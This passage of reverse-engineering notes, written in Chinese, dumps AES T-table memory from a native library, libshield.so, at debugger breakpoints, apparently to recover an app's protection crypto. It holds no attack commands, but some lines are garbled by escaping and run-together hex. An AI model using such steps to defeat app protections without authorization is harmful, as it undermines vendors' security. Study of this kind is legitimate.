0170: 4A 94 DE 4A 4C 98 D4 4C 58 B0 E8 58 CF 85 4A CF J..JL..LX..X..J.
0180: D0 BB 6B D0 EF C5 2A EF AA 4F E5 AA FB ED 16 FB ..k...*..O......
0190: 43 86 C5 43 4D 9A D7 4D 33 66 55 33 85 11 94 85 C..CM..M3fU3....
01A0: 45 8A CF 45 F9 E9 10 F9 02 04 06 02 7F FE 81 7F E..E............
01B0: 50 A0 F0 50 3C 78 44 3C 9F 25 BA 9F A8 4B E3 A8 P..P<xD<.%...K..
01C0: 51 A2 F3 51 A3 5D FE A3 40 80 C0 40 8F 05 8A 8F Q..Q.]..@..@....
01D0: 92 3F AD 92 9D 21 BC 9D 38 70 48 38 F5 F1 04 F5 .?...!..8pH8....
01E0: BC 63 DF BC B6 77 C1 B6 DA AF 75 DA 21 42 63 21 .c...w....u.!Bc!
01F0: 10 20 30 10 FF E5 1A FF F3 FD 0E F3 D2 BF 6D D2 . 0...........m.
0200: CD 81 4C CD 0C 18 14 0C 13 26 35 13 EC C3 2F EC ..L......&5.../.
0210: 5F BE E1 5F 97 35 A2 97 44 88 CC 44 17 2E 39 17 _.._.5..D..D..9.
0220: C4 93 57 C4 A7 55 F2 A7 7E FC 82 7E 3D 7A 47 3D ..W..U..=zG=
0230: 64 C8 AC 64 5D BA E7 5D 19 32 2B 19 73 E6 95 73 d..d]..].2+.s..s
0240: 60 C0 A0 60 81 19 98 81 4F 9E D1 4F DC A3 7F DC..
....O..O....
0250: 22 44 66 22 2A 54 7E 2A 90 3B AB 90 88 0B 83 88 \\"Df\\"T~.;......
0260: 46 8C CA 46 EE C7 29 EE B8 6B D3 B8 14 28 3C 14 F..F..)..k...(<.
0270: DE A7 79 DE 5E BC E2 5E 0B 16 1D 0B DB AD 76 DB ..y.^..^......v.
0280: E0 DB 3B E0 32 64 56 32 3A 74 4E 3A 0A 14 1E 0A ..;.2dV2:tN:....
0290: 49 92 DB 49 06 0C 0A 06 24 48 6C 24 5C B8 E4 5C I..I....Hl..
02A0: C2 9F 5D C2 D3 BD 6E D3 AC 43 EF AC 62 C4 A6 62 ..]...n..C..b..b
02B0: 91 39 A8 91 95 31 A4 95 E4 D3 37 E4 79 F2 8B 79 .9...1....7.y..y
02C0: E7 D5 32 E7 C8 8B 43 C8 37 6E 59 37 6D DA B7 6D ..2...C.7nY7m..m
02D0: 8D 01 8C 8D D5 B1 64 D5 4E 9C D2 4E A9 49 E0 A9 ......d.N..N.I..
02E0: 6C D8 B4 6C 56 AC FA 56 F4 F3 07 F4 EA CF 25 EA l..lV..V......%.
02F0: 65 CA AF 65 7A F4 8E 7A AE 47 E9 AE 08 10 18 08 e..ez..z.G......
0300: BA 6F D5 BA 78 F0 88 78 25 4A 6F 25 2E 5C 72 2E .o..x..x%Jo%.\\\\r.
0310: 1C 38 24 1C A6 57 F1 A6 B4 73 C7 B4 C6 97 51 C6 .8$..W...s....Q.
0320: E8 CB 23 E8 DD A1 7C DD 74 E8 9C 74 1F 3E 21 1F ..#...|.t..t.>!.
0330: 4B 96 DD 4B BD 61 DC BD 8B 0D 86 8B 8A 0F 85 8A K..K.a..........
0340: 70 E0 90 70 3E 7C 42 3E B5 71 C4 B5 66 CC AA 66 p..p>|B>.q..f..f
0350: 48 90 D8 48 03 06 05 03 F6 F7 01 F6 0E 1C 12 0E H..H............
0360: 61 C2 A3 61 35 6A 5F 35 57 AE F9 57 B9 69 D0 B9 a..a5j_5W..W.i..
0370: 86 17 91 86 C1 99 58 C1 1D 3A 27 1D 9E 27 B9 9E ......X..:\'..\'..
0380: E1 D9 38 E1 F8 EB 13 F8 98 2B B3 98 11 22 33 11 ..8......+...\\"3.
0390: 69 D2 BB 69 D9 A9 70 D9 8E 07 89 8E 94 33 A7 94 i..i..p......3..
03A0: 9B 2D B6 9B 1E 3C 22 1E 87 15 92 87 E9 C9 20 E9 .-...<\\"....... .
03B0: CE 87 49 CE 55 AA FF 55 28 50 78 28 DF A5 7A DF ..I.U..U(Px(..z.
03C0: 8C 03 8F 8C A1 59 F8 A1 89 09 80 89 0D 1A 17 0D .....Y..........
03D0: BF 65 DA BF E6 D7 31 E6 42 84 C6 42 68 D0 B8 68 .e....1.B..Bh..h
03E0: 41 82 C3 41 99 29 B0 99 2D 5A 77 2D 0F 1E 11 0F A..A.)..-Zw-....
03F0: B0 7B CB B0 54 A8 FC 54 BB 6D D6 BB 16 2C 3A 16 .{..T..T.m...,:.
^-----------------------------------------------------------------------------^
按照每8个字节作为一组小端序拼接成16进制数,加入到一个数组中
继续打断点0x519DC拿下qword_C19C0的内存值
\\nmx12 1024
\\n\\n\\n-----------------------------------------------------------------------------<
\\n
[11:39:44 150]x12=RX@0x400c19c0[libshield.so]0xc19c0, hex=c6a56363f8847c7cee997777f68d7b7bff0df2f2d6bd6b6bdeb16f6f9154c5c56050303002030101cea96767567d2b2be719fefeb562d7d74de6ababec9a76768f45caca1f9d82828940c9c9fa877d7def15fafab2eb59598ec94747fb0bf0f041ecadadb367d4d45ffda2a245eaafaf23bf9c9c53f7a4a4e49672729b5bc0c075c2b7b7e11cfdfd3dae93934c6a26266c5a36367e413f3ff502f7f7834fcccc685c343451f4a5a5d134e5e5f908f1f1e2937171ab73d8d8625331312a3f1515080c04049552c7c7466523239d5ec3c33028181837a196960a0f05052fb59a9a0e090707243612121b9b8080df3de2e2cd26ebeb4e6927277fcdb2b2ea9f7575121b09091d9e838358742c2c342e1a1a362d1b1bdcb26e6eb4ee5a5a5bfba0a0a4f65252764d3b3bb761d6d67dceb3b3527b2929dd3ee3e35e712f2f13978484a6f55353b968d1d100000000c12ceded40602020e31ffcfc79c8b1b1b6ed5b5bd4be6a6a8d46cbcb67d9bebe724b393994de4a4a98d44c4cb0e85858854acfcfbb6bd0d0c52aefef4fe5aaaaed16fbfb86c543439ad74d4d66553333119485858acf4545e910f9f904060202fe817f7fa0f0505078443c3c25ba9f9f4be3a8a8a2f351515dfea3a380c04040058a8f8f3fad929221bc9d9d70483838f104f5f563dfbcbc77c1b6b6af75dada4263212120301010e51afffffd0ef3f3bf6dd2d2814ccdcd18140c0c26351313c32fececbee15f5f35a2979788cc44442e3917179357c4c455f2a7a7fc827e7e7a473d3dc8ac6464bae75d5d322b1919e6957373c0a06060199881819ed14f4fa37fdcdc44662222547e2a2a3bab90900b8388888cca4646c729eeee6bd3b8b8283c1414a779dedebce25e5e161d0b0bad76dbdbdb3be0e064563232744e3a3a141e0a0a92db49490c0a0606486c2424b8e45c5c9f5dc2c2bd6ed3d343efacacc4a6626239a8919131a49595d337e4e4f28b7979d532e7e78b43c8c86e593737dab76d6d018c8d8db164d5d59cd24e4e49e0a9a9d8b46c6cacfa5656f307f4f4cf25eaeacaaf6565f48e7a7a47e9aeae101808086fd5babaf08878784a6f25255c722e2e38241c1c57f1a6a673c7b4b49751c6c6cb23e8e8a17cdddde89c74743e211f1f96dd4b4b61dcbdbd0d868b8b0f858a8ae09070707c423e3e71c4b5b5ccaa666690d8484806050303f701f6f61c120e0ec2a361616a5f3535aef9575769d0b9b9179186869958c1c13a271d1d27b99e9ed938e1e1eb13f8f82bb3989822331111d2bb6969a970d9d907898e8e33a794942db69b9b3c221e1e15928787c920e9e98749ceceaaff555550782828a57adfdf038f8c8c59f8a1a1098089891a170d0d65dabfbfd731e6e684c64242d0b8686882c3414129b099995a772d2d1e110f0f7bcbb0b0a8fc54546dd6bbbb2c3a1616, md5=9e5ba9ff36ab17c747e925586d714117
size: 1024
0000: C6 A5 63 63 F8 84 7C 7C EE 99 77 77 F6 8D 7B 7B ..cc..||..ww..{{
0010: FF 0D F2 F2 D6 BD 6B 6B DE B1 6F 6F 91 54 C5 C5 ......kk..oo.T..
0020: 60 50 30 30 02 03 01 01 CE A9 67 67 56 7D 2B 2BP00......ggV}++ 0030: E7 19 FE FE B5 62 D7 D7 4D E6 AB AB EC 9A 76 76 .....b..M.....vv 0040: 8F 45 CA CA 1F 9D 82 82 89 40 C9 C9 FA 87 7D 7D .E.......@....}} 0050: EF 15 FA FA B2 EB 59 59 8E C9 47 47 FB 0B F0 F0 ......YY..GG.... 0060: 41 EC AD AD B3 67 D4 D4 5F FD A2 A2 45 EA AF AF A....g.._...E... 0070: 23 BF 9C 9C 53 F7 A4 A4 E4 96 72 72 9B 5B C0 C0 #...S.....rr.[.. 0080: 75 C2 B7 B7 E1 1C FD FD 3D AE 93 93 4C 6A 26 26 u.......=...Lj&& 0090: 6C 5A 36 36 7E 41 3F 3F F5 02 F7 F7 83 4F CC CC lZ66~A??.....O.. 00A0: 68 5C 34 34 51 F4 A5 A5 D1 34 E5 E5 F9 08 F1 F1 h\\\\44Q....4...... 00B0: E2 93 71 71 AB 73 D8 D8 62 53 31 31 2A 3F 15 15 ..qq.s..bS11*?.. 00C0: 08 0C 04 04 95 52 C7 C7 46 65 23 23 9D 5E C3 C3 .....R..Fe##.^.. 00D0: 30 28 18 18 37 A1 96 96 0A 0F 05 05 2F B5 9A 9A 0(..7......./... 00E0: 0E 09 07 07 24 36 12 12 1B 9B 80 80 DF 3D E2 E2 ....$6.......=.. 00F0: CD 26 EB EB 4E 69 27 27 7F CD B2 B2 EA 9F 75 75 .&..Ni\'\'......uu 0100: 12 1B 09 09 1D 9E 83 83 58 74 2C 2C 34 2E 1A 1A ........Xt,,4... 0110: 36 2D 1B 1B DC B2 6E 6E B4 EE 5A 5A 5B FB A0 A0 6-....nn..ZZ[... 0120: A4 F6 52 52 76 4D 3B 3B B7 61 D6 D6 7D CE B3 B3 ..RRvM;;.a..}... 0130: 52 7B 29 29 DD 3E E3 E3 5E 71 2F 2F 13 97 84 84 R{)).>..^q//.... 0140: A6 F5 53 53 B9 68 D1 D1 00 00 00 00 C1 2C ED ED ..SS.h.......,.. 0150: 40 60 20 20 E3 1F FC FC 79 C8 B1 B1 B6 ED 5B 5B @
....y.....[[
0160: D4 BE 6A 6A 8D 46 CB CB 67 D9 BE BE 72 4B 39 39 ..jj.F..g...rK99
0170: 94 DE 4A 4A 98 D4 4C 4C B0 E8 58 58 85 4A CF CF ..JJ..LL..XX.J..
0180: BB 6B D0 D0 C5 2A EF EF 4F E5 AA AA ED 16 FB FB .k...*..O.......
0190: 86 C5 43 43 9A D7 4D 4D 66 55 33 33 11 94 85 85 ..CC..MMfU33....
01A0: 8A CF 45 45 E9 10 F9 F9 04 06 02 02 FE 81 7F 7F ..EE............
01B0: A0 F0 50 50 78 44 3C 3C 25 BA 9F 9F 4B E3 A8 A8 ..PPxD<<%...K...
01C0: A2 F3 51 51 5D FE A3 A3 80 C0 40 40 05 8A 8F 8F ..QQ].....@@....
01D0: 3F AD 92 92 21 BC 9D 9D 70 48 38 38 F1 04 F5 F5 ?...!...pH88....
01E0: 63 DF BC BC 77 C1 B6 B6 AF 75 DA DA 42 63 21 21 c...w....u..Bc!!
01F0: 20 30 10 10 E5 1A FF FF FD 0E F3 F3 BF 6D D2 D2 0...........m..
0200: 81 4C CD CD 18 14 0C 0C 26 35 13 13 C3 2F EC EC .L......&5.../..
0210: BE E1 5F 5F 35 A2 97 97 88 CC 44 44 2E 39 17 17 ..__5.....DD.9..
0220: 93 57 C4 C4 55 F2 A7 A7 FC 82 7E 7E 7A 47 3D 3D .W..U.....~~zG==
0230: C8 AC 64 64 BA E7 5D 5D 32 2B 19 19 E6 95 73 73 ..dd..]]2+....ss
0240: C0 A0 60 60 19 98 81 81 9E D1 4F 4F A3 7F DC DC ..``......OO....
0250: 44 66 22 22 54 7E 2A 2A 3B AB 90 90 0B 83 88 88 Df\\"\\"T~**;.......
0260: 8C CA 46 46 C7 29 EE EE 6B D3 B8 B8 28 3C 14 14 ..FF.)..k...(<..
0270: A7 79 DE DE BC E2 5E 5E 16 1D 0B 0B AD 76 DB DB .y....^^.....v..
0280: DB 3B E0 E0 64 56 32 32 74 4E 3A 3A 14 1E 0A 0A .;..dV22tN::....
0290: 92 DB 49 49 0C 0A 06 06 48 6C 24 24 B8 E4 5C 5C ..II....Hl$$..\\\\
02A0: 9F 5D C2 C2 BD 6E D3 D3 43 EF AC AC C4 A6 62 62 .]...n..C.....bb
02B0: 39 A8 91 91 31 A4 95 95 D3 37 E4 E4 F2 8B 79 79 9...1....7....yy
02C0: D5 32 E7 E7 8B 43 C8 C8 6E 59 37 37 DA B7 6D 6D .2...C..nY77..mm
02D0: 01 8C 8D 8D B1 64 D5 D5 9C D2 4E 4E 49 E0 A9 A9 .....d....NNI...
02E0: D8 B4 6C 6C AC FA 56 56 F3 07 F4 F4 CF 25 EA EA ..ll..VV.....%..
02F0: CA AF 65 65 F4 8E 7A 7A 47 E9 AE AE 10 18 08 08 ..ee..zzG.......
0300: 6F D5 BA BA F0 88 78 78 4A 6F 25 25 5C 72 2E 2E o.....xxJo%%\\\\r..
0310: 38 24 1C 1C 57 F1 A6 A6 73 C7 B4 B4 97 51 C6 C6 8$..W...s....Q..
0320: CB 23 E8 E8 A1 7C DD DD E8 9C 74 74 3E 21 1F 1F .#...|....tt>!..
0330: 96 DD 4B 4B 61 DC BD BD 0D 86 8B 8B 0F 85 8A 8A ..KKa...........
0340: E0 90 70 70 7C 42 3E 3E 71 C4 B5 B5 CC AA 66 66 ..pp|B>>q.....ff
0350: 90 D8 48 48 06 05 03 03 F7 01 F6 F6 1C 12 0E 0E ..HH............
0360: C2 A3 61 61 6A 5F 35 35 AE F9 57 57 69 D0 B9 B9 ..aaj_55..WWi...
0370: 17 91 86 86 99 58 C1 C1 3A 27 1D 1D 27 B9 9E 9E .....X..:\'..\'...
0380: D9 38 E1 E1 EB 13 F8 F8 2B B3 98 98 22 33 11 11 .8......+...\\"3..
0390: D2 BB 69 69 A9 70 D9 D9 07 89 8E 8E 33 A7 94 94 ..ii.p......3...
03A0: 2D B6 9B 9B 3C 22 1E 1E 15 92 87 87 C9 20 E9 E9 -...<\\"....... ..
03B0: 87 49 CE CE AA FF 55 55 50 78 28 28 A5 7A DF DF .I....UUPx((.z..
03C0: 03 8F 8C 8C 59 F8 A1 A1 09 80 89 89 1A 17 0D 0D ....Y...........
03D0: 65 DA BF BF D7 31 E6 E6 84 C6 42 42 D0 B8 68 68 e....1....BB..hh
03E0: 82 C3 41 41 29 B0 99 99 5A 77 2D 2D 1E 11 0F 0F ..AA)...Zw--....
03F0: 7B CB B0 B0 A8 FC 54 54 6D D6 BB BB 2C 3A 16 16 {.....TTm...,:..
^-----------------------------------------------------------------------------^
继续打断点0x519F0 拿下RijnDael_AES_C1DC0的数据
\\nmx13 1024
\\n\\n\\n-----------------------------------------------------------------------------<
\\n
[11:48:47 591]x13=RX@0x400c1dc0[libshield.so]0xc1dc0, hex=a56363c6847c7cf8997777ee8d7b7bf60df2f2ffbd6b6bd6b16f6fde54c5c5915030306003010102a96767ce7d2b2b5619fefee762d7d7b5e6abab4d9a7676ec45caca8f9d82821f40c9c989877d7dfa15fafaefeb5959b2c947478e0bf0f0fbecadad4167d4d4b3fda2a25feaafaf45bf9c9c23f7a4a453967272e45bc0c09bc2b7b7751cfdfde1ae93933d6a26264c5a36366c413f3f7e02f7f7f54fcccc835c343468f4a5a55134e5e5d108f1f1f9937171e273d8d8ab533131623f15152a0c04040852c7c795652323465ec3c39d28181830a19696370f05050ab59a9a2f0907070e361212249b80801b3de2e2df26ebebcd6927274ecdb2b27f9f7575ea1b0909129e83831d742c2c582e1a1a342d1b1b36b26e6edcee5a5ab4fba0a05bf65252a44d3b3b7661d6d6b7ceb3b37d7b2929523ee3e3dd712f2f5e97848413f55353a668d1d1b9000000002cededc1602020401ffcfce3c8b1b179ed5b5bb6be6a6ad446cbcb8dd9bebe674b393972de4a4a94d44c4c98e85858b04acfcf856bd0d0bb2aefefc5e5aaaa4f16fbfbedc5434386d74d4d9a5533336694858511cf45458a10f9f9e906020204817f7ffef05050a0443c3c78ba9f9f25e3a8a84bf35151a2fea3a35dc04040808a8f8f05ad92923fbc9d9d214838387004f5f5f1dfbcbc63c1b6b67775dadaaf63212142301010201affffe50ef3f3fd6dd2d2bf4ccdcd81140c0c18351313262fececc3e15f5fbea2979735cc4444883917172e57c4c493f2a7a755827e7efc473d3d7aac6464c8e75d5dba2b191932957373e6a06060c098818119d14f4f9e7fdcdca3662222447e2a2a54ab90903b8388880bca46468c29eeeec7d3b8b86b3c14142879dedea7e25e5ebc1d0b0b1676dbdbad3be0e0db563232644e3a3a741e0a0a14db4949920a06060c6c242448e45c5cb85dc2c29f6ed3d3bdefacac43a66262c4a8919139a495953137e4e4d38b7979f232e7e7d543c8c88b5937376eb76d6dda8c8d8d0164d5d5b1d24e4e9ce0a9a949b46c6cd8fa5656ac07f4f4f325eaeacfaf6565ca8e7a7af4e9aeae4718080810d5baba6f887878f06f25254a722e2e5c241c1c38f1a6a657c7b4b47351c6c69723e8e8cb7cdddda19c7474e8211f1f3edd4b4b96dcbdbd61868b8b0d858a8a0f907070e0423e3e7cc4b5b571aa6666ccd84848900503030601f6f6f7120e0e1ca36161c25f35356af95757aed0b9b9699186861758c1c199271d1d3ab99e9e2738e1e1d913f8f8ebb398982b33111122bb6969d270d9d9a9898e8e07a7949433b69b9b2d221e1e3c9287871520e9e9c949cece87ff5555aa782828507adfdfa58f8c8c03f8a1a15980898909170d0d1adabfbf6531e6e6d7c6424284b86868d0c3414182b0999929772d2d5a110f0f1ecbb0b07bfc5454a8d6bbbb6d3a16162c, md5=8ab2e0e16ddd9a89f10cba096fc57fa3
size: 1024
0000: A5 63 63 C6 84 7C 7C F8 99 77 77 EE 8D 7B 7B F6 .cc..||..ww..{{.
0010: 0D F2 F2 FF BD 6B 6B D6 B1 6F 6F DE 54 C5 C5 91 .....kk..oo.T...
0020: 50 30 30 60 03 01 01 02 A9 67 67 CE 7D 2B 2B 56 P00.....gg.}++V 0030: 19 FE FE E7 62 D7 D7 B5 E6 AB AB 4D 9A 76 76 EC ....b......M.vv. 0040: 45 CA CA 8F 9D 82 82 1F 40 C9 C9 89 87 7D 7D FA E.......@....}}. 0050: 15 FA FA EF EB 59 59 B2 C9 47 47 8E 0B F0 F0 FB .....YY..GG..... 0060: EC AD AD 41 67 D4 D4 B3 FD A2 A2 5F EA AF AF 45 ...Ag......_...E 0070: BF 9C 9C 23 F7 A4 A4 53 96 72 72 E4 5B C0 C0 9B ...#...S.rr.[... 0080: C2 B7 B7 75 1C FD FD E1 AE 93 93 3D 6A 26 26 4C ...u.......=j&&L 0090: 5A 36 36 6C 41 3F 3F 7E 02 F7 F7 F5 4F CC CC 83 Z66lA??~....O... 00A0: 5C 34 34 68 F4 A5 A5 51 34 E5 E5 D1 08 F1 F1 F9 \\\\44h...Q4....... 00B0: 93 71 71 E2 73 D8 D8 AB 53 31 31 62 3F 15 15 2A .qq.s...S11b?..* 00C0: 0C 04 04 08 52 C7 C7 95 65 23 23 46 5E C3 C3 9D ....R...e##F^... 00D0: 28 18 18 30 A1 96 96 37 0F 05 05 0A B5 9A 9A 2F (..0...7......./ 00E0: 09 07 07 0E 36 12 12 24 9B 80 80 1B 3D E2 E2 DF ....6..$....=... 00F0: 26 EB EB CD 69 27 27 4E CD B2 B2 7F 9F 75 75 EA &...i\'\'N.....uu. 0100: 1B 09 09 12 9E 83 83 1D 74 2C 2C 58 2E 1A 1A 34 ........t,,X...4 0110: 2D 1B 1B 36 B2 6E 6E DC EE 5A 5A B4 FB A0 A0 5B -..6.nn..ZZ....[ 0120: F6 52 52 A4 4D 3B 3B 76 61 D6 D6 B7 CE B3 B3 7D .RR.M;;va......} 0130: 7B 29 29 52 3E E3 E3 DD 71 2F 2F 5E 97 84 84 13 {))R>...q//^.... 0140: F5 53 53 A6 68 D1 D1 B9 00 00 00 00 2C ED ED C1 .SS.h.......,... 0150: 60 20 20 40 1F FC FC E3 C8 B1 B1 79 ED 5B 5B B6
@.......y.[[.
0160: BE 6A 6A D4 46 CB CB 8D D9 BE BE 67 4B 39 39 72 .jj.F......gK99r
0170: DE 4A 4A 94 D4 4C 4C 98 E8 58 58 B0 4A CF CF 85 .JJ..LL..XX.J...
0180: 6B D0 D0 BB 2A EF EF C5 E5 AA AA 4F 16 FB FB ED k...*......O....
0190: C5 43 43 86 D7 4D 4D 9A 55 33 33 66 94 85 85 11 .CC..MM.U33f....
01A0: CF 45 45 8A 10 F9 F9 E9 06 02 02 04 81 7F 7F FE .EE.............
01B0: F0 50 50 A0 44 3C 3C 78 BA 9F 9F 25 E3 A8 A8 4B .PP.D<<x...%...K
01C0: F3 51 51 A2 FE A3 A3 5D C0 40 40 80 8A 8F 8F 05 .QQ....].@@.....
01D0: AD 92 92 3F BC 9D 9D 21 48 38 38 70 04 F5 F5 F1 ...?...!H88p....
01E0: DF BC BC 63 C1 B6 B6 77 75 DA DA AF 63 21 21 42 ...c...wu...c!!B
01F0: 30 10 10 20 1A FF FF E5 0E F3 F3 FD 6D D2 D2 BF 0.. ........m...
0200: 4C CD CD 81 14 0C 0C 18 35 13 13 26 2F EC EC C3 L.......5..&/...
0210: E1 5F 5F BE A2 97 97 35 CC 44 44 88 39 17 17 2E .__....5.DD.9...
0220: 57 C4 C4 93 F2 A7 A7 55 82 7E 7E FC 47 3D 3D 7A W......U.~~.G==z
0230: AC 64 64 C8 E7 5D 5D BA 2B 19 19 32 95 73 73 E6 .dd..]].+..2.ss.
0240: A0 60 60 C0 98 81 81 19 D1 4F 4F 9E 7F DC DC A3 .``......OO.....
0250: 66 22 22 44 7E 2A 2A 54 AB 90 90 3B 83 88 88 0B f\\"\\"D~**T...;....
0260: CA 46 46 8C 29 EE EE C7 D3 B8 B8 6B 3C 14 14 28 .FF.)......k<..(
0270: 79 DE DE A7 E2 5E 5E BC 1D 0B 0B 16 76 DB DB AD y....^^.....v...
0280: 3B E0 E0 DB 56 32 32 64 4E 3A 3A 74 1E 0A 0A 14 ;...V22dN::t....
0290: DB 49 49 92 0A 06 06 0C 6C 24 24 48 E4 5C 5C B8 .II.....l$$H.\\\\.
02A0: 5D C2 C2 9F 6E D3 D3 BD EF AC AC 43 A6 62 62 C4 ]...n......C.bb.
02B0: A8 91 91 39 A4 95 95 31 37 E4 E4 D3 8B 79 79 F2 ...9...17....yy.
02C0: 32 E7 E7 D5 43 C8 C8 8B 59 37 37 6E B7 6D 6D DA 2...C...Y77n.mm.
02D0: 8C 8D 8D 01 64 D5 D5 B1 D2 4E 4E 9C E0 A9 A9 49 ....d....NN....I
02E0: B4 6C 6C D8 FA 56 56 AC 07 F4 F4 F3 25 EA EA CF .ll..VV.....%...
02F0: AF 65 65 CA 8E 7A 7A F4 E9 AE AE 47 18 08 08 10 .ee..zz....G....
0300: D5 BA BA 6F 88 78 78 F0 6F 25 25 4A 72 2E 2E 5C ...o.xx.o%%Jr..
0310: 24 1C 1C 38 F1 A6 A6 57 C7 B4 B4 73 51 C6 C6 97 $..8...W...sQ...
0320: 23 E8 E8 CB 7C DD DD A1 9C 74 74 E8 21 1F 1F 3E #...|....tt.!..>
0330: DD 4B 4B 96 DC BD BD 61 86 8B 8B 0D 85 8A 8A 0F .KK....a........
0340: 90 70 70 E0 42 3E 3E 7C C4 B5 B5 71 AA 66 66 CC .pp.B>>|...q.ff.
0350: D8 48 48 90 05 03 03 06 01 F6 F6 F7 12 0E 0E 1C .HH.............
0360: A3 61 61 C2 5F 35 35 6A F9 57 57 AE D0 B9 B9 69 .aa._55j.WW....i
0370: 91 86 86 17 58 C1 C1 99 27 1D 1D 3A B9 9E 9E 27 ....X...\'..:...\'
0380: 38 E1 E1 D9 13 F8 F8 EB B3 98 98 2B 33 11 11 22 8..........+3..\\"
0390: BB 69 69 D2 70 D9 D9 A9 89 8E 8E 07 A7 94 94 33 .ii.p..........3
03A0: B6 9B 9B 2D 22 1E 1E 3C 92 87 87 15 20 E9 E9 C9 ...-\\"..<.... ...
03B0: 49 CE CE 87 FF 55 55 AA 78 28 28 50 7A DF DF A5 I....UU.x((Pz...
03C0: 8F 8C 8C 03 F8 A1 A1 59 80 89 89 09 17 0D 0D 1A .......Y........
03D0: DA BF BF 65 31 E6 E6 D7 C6 42 42 84 B8 68 68 D0 ...e1....BB..hh.
03E0: C3 41 41 82 B0 99 99 29 77 2D 2D 5A 11 0F 0F 1E .AA....)w--Z....
03F0: CB B0 B0 7B FC 54 54 A8 D6 BB BB 6D 3A 16 16 2C ...{.TT....m:..,
^-----------------------------------------------------------------------------^
继续打断点0x519F8 拿下qword_C21C0
mx14 1024
\\n\\n-----------------------------------------------------------------------------<
\\n
[12:00:49 873]x14=RX@0x400c21c0[libshield.so]0xc21c0, hex=6363c6a57c7cf8847777ee997b7bf68df2f2ff0d6b6bd6bd6f6fdeb1c5c5915430306050010102036767cea92b2b567dfefee719d7d7b562abab4de67676ec9acaca8f4582821f9dc9c989407d7dfa87fafaef155959b2eb47478ec9f0f0fb0badad41ecd4d4b367a2a25ffdafaf45ea9c9c23bfa4a453f77272e496c0c09b5bb7b775c2fdfde11c93933dae26264c6a36366c5a3f3f7e41f7f7f502cccc834f3434685ca5a551f4e5e5d134f1f1f9087171e293d8d8ab733131625315152a3f0404080cc7c7955223234665c3c39d5e18183028969637a105050a0f9a9a2fb507070e091212243680801b9be2e2df3debebcd2627274e69b2b27fcd7575ea9f0909121b83831d9e2c2c58741a1a342e1b1b362d6e6edcb25a5ab4eea0a05bfb5252a4f63b3b764dd6d6b761b3b37dce2929527be3e3dd3e2f2f5e71848413975353a6f5d1d1b96800000000ededc12c20204060fcfce31fb1b179c85b5bb6ed6a6ad4becbcb8d46bebe67d93939724b4a4a94de4c4c98d45858b0e8cfcf854ad0d0bb6befefc52aaaaa4fe5fbfbed16434386c54d4d9ad7333366558585119445458acff9f9e910020204067f7ffe815050a0f03c3c78449f9f25baa8a84be35151a2f3a3a35dfe404080c08f8f058a92923fad9d9d21bc38387048f5f5f104bcbc63dfb6b677c1dadaaf752121426310102030ffffe51af3f3fd0ed2d2bf6dcdcd814c0c0c181413132635ececc32f5f5fbee1979735a2444488cc17172e39c4c49357a7a755f27e7efc823d3d7a476464c8ac5d5dbae71919322b7373e6956060c0a0818119984f4f9ed1dcdca37f222244662a2a547e90903bab88880b8346468ccaeeeec729b8b86bd31414283cdedea7795e5ebce20b0b161ddbdbad76e0e0db3b323264563a3a744e0a0a141e494992db06060c0a2424486c5c5cb8e4c2c29f5dd3d3bd6eacac43ef6262c4a6919139a8959531a4e4e4d3377979f28be7e7d532c8c88b4337376e596d6ddab78d8d018cd5d5b1644e4e9cd2a9a949e06c6cd8b45656acfaf4f4f307eaeacf256565caaf7a7af48eaeae47e908081018baba6fd57878f08825254a6f2e2e5c721c1c3824a6a657f1b4b473c7c6c69751e8e8cb23dddda17c7474e89c1f1f3e214b4b96ddbdbd61dc8b8b0d868a8a0f857070e0903e3e7c42b5b571c46666ccaa484890d803030605f6f6f7010e0e1c126161c2a335356a5f5757aef9b9b969d086861791c1c199581d1d3a279e9e27b9e1e1d938f8f8eb1398982bb3111122336969d2bbd9d9a9708e8e0789949433a79b9b2db61e1e3c2287871592e9e9c920cece87495555aaff28285078dfdfa57a8c8c038fa1a159f8898909800d0d1a17bfbf65dae6e6d731424284c66868d0b8414182c3999929b02d2d5a770f0f1e11b0b07bcb5454a8fcbbbb6dd616162c3a, md5=0b332f3dca5e444c8a36d183b9429586
size: 1024
0000: 63 63 C6 A5 7C 7C F8 84 77 77 EE 99 7B 7B F6 8D cc..||..ww..{{..
0010: F2 F2 FF 0D 6B 6B D6 BD 6F 6F DE B1 C5 C5 91 54 ....kk..oo.....T
0020: 30 30 60 50 01 01 02 03 67 67 CE A9 2B 2B 56 7D 00P....gg..++V} 0030: FE FE E7 19 D7 D7 B5 62 AB AB 4D E6 76 76 EC 9A .......b..M.vv.. 0040: CA CA 8F 45 82 82 1F 9D C9 C9 89 40 7D 7D FA 87 ...E.......@}}.. 0050: FA FA EF 15 59 59 B2 EB 47 47 8E C9 F0 F0 FB 0B ....YY..GG...... 0060: AD AD 41 EC D4 D4 B3 67 A2 A2 5F FD AF AF 45 EA ..A....g.._...E. 0070: 9C 9C 23 BF A4 A4 53 F7 72 72 E4 96 C0 C0 9B 5B ..#...S.rr.....[ 0080: B7 B7 75 C2 FD FD E1 1C 93 93 3D AE 26 26 4C 6A ..u.......=.&&Lj 0090: 36 36 6C 5A 3F 3F 7E 41 F7 F7 F5 02 CC CC 83 4F 66lZ??~A.......O 00A0: 34 34 68 5C A5 A5 51 F4 E5 E5 D1 34 F1 F1 F9 08 44h\\\\..Q....4.... 00B0: 71 71 E2 93 D8 D8 AB 73 31 31 62 53 15 15 2A 3F qq.....s11bS..*? 00C0: 04 04 08 0C C7 C7 95 52 23 23 46 65 C3 C3 9D 5E .......R##Fe...^ 00D0: 18 18 30 28 96 96 37 A1 05 05 0A 0F 9A 9A 2F B5 ..0(..7......./. 00E0: 07 07 0E 09 12 12 24 36 80 80 1B 9B E2 E2 DF 3D ......$6.......= 00F0: EB EB CD 26 27 27 4E 69 B2 B2 7F CD 75 75 EA 9F ...&\'\'Ni....uu.. 0100: 09 09 12 1B 83 83 1D 9E 2C 2C 58 74 1A 1A 34 2E ........,,Xt..4. 0110: 1B 1B 36 2D 6E 6E DC B2 5A 5A B4 EE A0 A0 5B FB ..6-nn..ZZ....[. 0120: 52 52 A4 F6 3B 3B 76 4D D6 D6 B7 61 B3 B3 7D CE RR..;;vM...a..}. 0130: 29 29 52 7B E3 E3 DD 3E 2F 2F 5E 71 84 84 13 97 ))R{...>//^q.... 0140: 53 53 A6 F5 D1 D1 B9 68 00 00 00 00 ED ED C1 2C SS.....h......., 0150: 20 20 40 60 FC FC E3 1F B1 B1 79 C8 5B 5B B6 ED @
......y.[[..
